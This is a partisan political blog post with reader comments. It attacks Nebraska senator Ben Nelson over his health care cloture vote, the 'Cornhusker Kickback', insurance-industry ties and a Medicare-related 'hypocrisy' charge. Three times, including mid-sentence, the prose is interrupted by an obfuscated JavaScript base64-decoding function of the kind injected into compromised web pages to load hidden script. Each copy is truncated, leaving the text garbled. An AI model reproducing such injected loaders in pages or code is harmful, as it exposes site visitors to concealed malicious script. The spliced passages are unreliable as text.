Ben Nelson is Deserving of Darts for two important reasons:
1) Health Care Law: Providing the 60th vote for cloture on the health care law and the attendant "Cornhusker Kickback"
2) Hypocrisy: Saying he voted "No" on the debt debacle because he was concerned about cuts to the Medicare program
In November 2012 - Ben Nelson should be resoundingly voted out of office.
Some votes should result in an elected official's loss of position because they destroy their constituents' trust and there is nothing they can do to recover it. Providing the 60th vote for cloture on the Health Care bill in return for a now-infamous closed-door sleazy deal was, without a doubt, just such a vote. That means, after December 2009, it doesn't matter if Ben Nelson votes "the right way" every time.
Despite the fact that very many of its negative effects have yet to be felt, periodic opinion polls consistently show opposition to it nationwide. This phenomenon is significant because it is not historically what usually has occurred regarding controversial legislation. While the health care "reform" law was being debated, many Americans knew in their gut, if not in detail, that the bill was bad news. There have been a steady stream of reports, almost universally negative, about what provisions of the law have been implemented, what the bill actually included, many negative effects, and the special favors granted the chosen few (waivers). As the facts continue to be revealed, they are simply confirming those earlier gut instincts.
Added to the long list of problems with the bill's content, there is of course, the entirely separate issue of the tactics attempted or ultimately used to ram the bill through Congress, which only added to the majority of Americans' outrage.
And this, in particular, is why Ben Nelson was at the time and remains, both "Deserving of Darts" and far more importantly, being voted out of office. The behind-the-curtain dealings which involved Nelson and Democratic party leadership, received the infamous and deserved moniker "Cornhusker Kickback".
Most Republicans and right-leaning Nebraskans know the most publicly embarrassing part of the deal; the $100 million tab for Nebraska's increased Medicaid costs which was to be handed to the rest of the country to be paid. What most people on the right do not really understand is that "the Kickback" had a double pay-off and significantly gutted the Medicare program of funding, which is simply idiotic, considering the program is already insolvent and will see a dramatic increase in enrollees going forward.
The OTHER Kickback
The universal scorn directed at Nebraska generally, and Ben Nelson in particular, resulted in the removal of the $100 million handout to Nebraska from the final version of the bill, but there is no indication that the other payoff, which is actually far more troubling, was ever removed.
It's simply a fact that the Cornhusker Kickback was not popular with either the left or the right. The left was up in arms because of the second payoff Nelson's brokered deal included. There was a kickback by way of significant tax breaks for particular insurance companies in Nebraska.
People on the right have labeled the bill a "socialist takeover of health care", but that is not correct. It is actually much more correct to state that it was corporatism. Health insurance companies, at least those who are willing to position themselves to play ball with government, are guaranteed business under the health care law. All Americans will be forced to buy their product. It is a little acknowledged fact by too many on the right that the health insurance companies were the leading advocates for what many people see as the most odious aspect of the health care bill: the individual mandate.
Health Insurance Industry Influence
America's Health Insurance Plans, the lobbying group for America's 1300 health insurance companies, can be tracked, dating back to at least 2008, as advocating for that individual mandate. I don't know about anyone else, but I'm more than troubled by the fact that the health insurers were not only not fighting against government's intrusions on their industry, they were out front in advocating for government to force all of us to buy their product.
My own frustrating experiences over the years in dealing with my husband's employer-provided health insurance has been confirmed through my research as simply examples of industry-wide problems. When I add the game playing to dodge payment of claims to the hand-in-glove relationship with government in imposing an unconstitutional mandate on all Americans through the health care law, and importantly, the history of insurers' influence on state insurance laws, I've become increasingly curious regarding the whole topic of health care costs.
It's important to understand that one of the primary drivers of cost comes function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
Nebraska's insurance laws make it virtually impossible, just as one example, to purchase a major / catastrophic policy at anything like affordable rates. If we think of health insurance policies as analogous to a car purchase, even if you would like to buy a Ford Escort, you are forced to buy a Cadillac.
Ben Nelson and Nebraska's Insurance Industry
And this brings us back to the matter at hand; Ben Nelson and the Cornhusker Kickback. Nelson has a long history with the insurance industry. What portion of Nelson's career that has been spent in the private sector has been working in various positions for Nebraska's Central National Insurance Group. In between working for Central National, Nelson was the Director of Nebraska's State Department of Insurance.
Ben Nelson worked in the private and public sector during the period when the number of health insurance policy mandates passed by the state would have experienced the most significant number of increases. function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
Ben Nelson's Largest Contributors
Click to view Nelson's Career Profile on Open Secrets
In addition to working in the insurance industry both in the private and public sector, the industry sector that has contributed, by far the largest amount of money to Nelson's political campaigns since 1989, is insurance, finance, and real estate, at $3.5 million. This amount is far more than double any other sector ($1.6 million lawyers / law firms, $1.5 health professionals, $1.2 agribusiness, $1.2 miscellaneous business).
Clearly, the insurance, finance, and real estate sector has invested significant sums in Ben Nelson. When looking at the sectors of contributors, when the insurance industry contributions and the health professionals contributions sector are added together, Ben Nelson has had 5 million reasons to be very interested in health insurance.
And, moving into Nelson's effort to get re-elected in 2012, these industries' interest and investment in Ben Nelson has not abated. In fact, for the upcoming 2012 election cycle, Ben Nelson is listed as the top recipient of the Insurance industries' contributions to date in OpenSecret.org's list Top 50 Industries Giving to Congress.
Nelson the Hypocrite: Gutting Medicare
Among the many things people had to find out after the health care law passed was that it guts $500 billion in funding from the Medicare program. Considering that the program was already projected to fail due to the number of retiring baby boomers that will become enrolled in the program, this provision is idiotic and spells serious troubles in future.
In this video clip, former Lt. Gov. Betsy McCaughey explains, in stark terms, what such gutting of Medicare means for senior citizens. (Note that it has been reported that the "end of life" elements explained beginning at time marker 7 minutes 50 seconds were not included in the final version of the bill.)
Nelson "NAY" on Debt Deal = Pure Politics
function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
"Gentle Ben" knows his political goose is cooked and that is all.
I will end as I began...
There is NO question that Ben Nelson should be removed from one of Nebraska's two seats in the United States' Senate in November 2012. The only questions that remain are...
1) Will Nebraskans finally see through Ben Nelson?
2) Will they elect someone to the Senate to take his place who will be any different?
Hi Shelli,
You raise some really good points. Now that Senator Nelson is back in Nebraska, perhaps you could question him more closely at one of his many town halls. What’s that? He’s not having any town halls!? Why would he want to hide from his constituents?
Apparently this is a national trend. http://nolabels.org/blog/60-congress-not-holding-town-halls
Our elite rulers have no time to meet with the rabble.
When BOZOBEN cast the 60th vote did the bill include tax funded abortions or something similar?
East coast Harvey
P.S. Can you change the darts and dart board image using steel tipped darts and a bristle dart board (former professional dart player)
Harvey,
Thanks very much for stopping by. When Mr. Nelson announced his vote for cloture, he said he’d ensured the language in the bill would protect life. Nebraska Right to Life heartily disagreed at the the time. http://www.nerighttolife.org/SiteResources/Data/Templates/t4.asp?docid=610&DocName=Healthcare%20Bill
Of course, GiN is not a single issue group, and at the time of the Stupak amendment deal, a number of us were disturbed at the development because all it did was enable a lot of people to vote for the health care debacle. Of course, protecting the unborn is a top priority, but there are other aspects of the health care law that were sure to increase a culture of death. There was no way the law could be constructed that would not necessitate elements of rationing, which has and will always require some bureaucrat or group of bureaucrats to decide whose lives are most valuable and whose are not.
And of course, besides the critically important life issue, there are many, many other problems with the health care law, including the pay off to insurance companies.
On the subject of darts and boards, I am really loving your suggestion. Since you are a professional dart player, I think I’ll need to consult on choice of pics – be looking for an email.
Shelli
The reason I asked about the abortion issue is because he assured the crowd at a town hall meeting that I attended in Lincoln, that he would “not vote for the bill if it contained government funding of abortion”.I just wanted to make sure that when I use the term “LIAR” it would be appropriate. Thanks for the info. Harvey
Harvey,
Thanks again for stopping in. Isn’t it interesting how frequently Ben Nelson talks about how he will not vote for a bill and then he turns around and votes for it, regardless of whether or not it includes or doesn’t include what he wants or doesn’t want? I also find it interesting that the Nebraska press very often seems to report on the “I can’t vote for that” remarks more than it ever seems to follow up on his actual votes.
Unfortunately, I think you’ve landed on the correct term to describe Nebraska’s Senior Senator.
Do keep coming back – it was an excellent question and important follow-up.
Thank you,
Shelli